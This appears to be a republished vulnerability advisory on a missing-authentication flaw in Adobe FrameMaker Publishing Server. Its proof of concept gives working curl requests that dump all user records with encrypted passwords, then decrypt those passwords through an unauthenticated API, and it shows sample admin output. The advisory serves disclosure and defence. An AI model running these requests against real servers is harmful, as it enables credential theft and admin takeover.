A vulnerability regarding missing authentication exists in Adobe FrameMaker Publishing Server (FMPS). This allows an unauthenticated remote attacker to access FMPS REST APIs. For example, the attacker can fetch user information (including encrypted password) for all FMPS users. The encrypted password can be decrypted by accessing a FMPS API. This allows the attacker to login to FMPS.Proof of Concept# curl 'http://<fmps-host>:7000/v16/server/auth/' [{"accessTokenExpires":"-1","userPermission":"ADMIN","userType":"ADMIN","userString":"NA","email":"fmpsuserAAA@enterprise.com","__schemaVersion":"16","_id":"6578e4aef9492a045082c7d7","username":"fmpsuserAAA","password":"6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e","user_denorm_string":"{\"_id\":\"6578e4aef9492a045082c7d7\",\"accessTokenExpires\":\"NA\",\"email\":\"fmpsuserAAA@enterprise.com\",\"password\":\"6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e\",\"userPermission\":\"ADMIN\",\"userString\":\"NA\",\"userType\":\"ADMIN\",\"username\":\"fmpsuserAAA\"}","__v":0,"accessToken":""}] #curl -d 'password=6c2395917d6e121b3cb835c1ce9f69aaa1a9240cfab0cc0fe7df3e' 'http://<fmps-host>:7000/v16/server/auth/decryptPassword' "fmpsuserAAA"
This Cyber News was published on www.tenable.com. Publication date: Wed, 14 Feb 2024 12:51:03 +0000